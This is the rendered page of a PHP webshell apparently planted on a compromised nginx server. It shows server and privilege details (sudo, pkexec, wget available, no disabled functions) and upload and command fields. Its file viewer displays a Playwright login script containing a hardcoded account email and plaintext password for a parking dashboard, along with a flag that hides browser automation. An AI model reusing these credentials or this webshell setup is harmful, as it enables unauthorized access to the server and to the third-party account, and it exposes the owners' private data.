403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951574/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951574/root/tmp/pl_login2.py
from playwright.sync_api import sync_playwright
BASE="https://www.parkinglist.de/ParkingDashboard"
USER="service@parken-am-schiff.de"; PW="BYx63wLLxP"
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
with sync_playwright() as p:
    b=p.chromium.launch(headless=True,args=["--no-sandbox","--disable-blink-features=AutomationControlled"])
    ctx=b.new_context(user_agent=UA,locale="de-DE",viewport={"width":1440,"height":960})
    pg=ctx.new_page()
    pg.on("console",lambda m: print("CONSOLE:",m.type,m.text[:120]))
    pg.goto(f"{BASE}/login.xhtml",wait_until="domcontentloaded",timeout=60000)
    pg.wait_for_selector("#username",timeout=30000)
    pg.fill("#username",USER); pg.fill("#password",PW)
    # button markup
    print("BTN HTML:", pg.eval_on_selector("#login","e=>e.outerHTML"))
    print("FORM HTML head:", pg.eval_on_selector("#loginForm","e=>e.outerHTML.slice(0,600)"))
    try:
        with pg.expect_navigation(timeout=20000):
            pg.click("#login")
        print("navigation happened")
    except Exception as ex:
        print("no nav:",str(ex)[:100])
    pg.wait_for_timeout(4000)
    print("URL now:",pg.url," title:",pg.title())
    body=pg.inner_text("body")[:1500]
    print("BODY TEXT:\n",body)
    pg.screenshot(path="/tmp/pl_after.png",full_page=True)
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit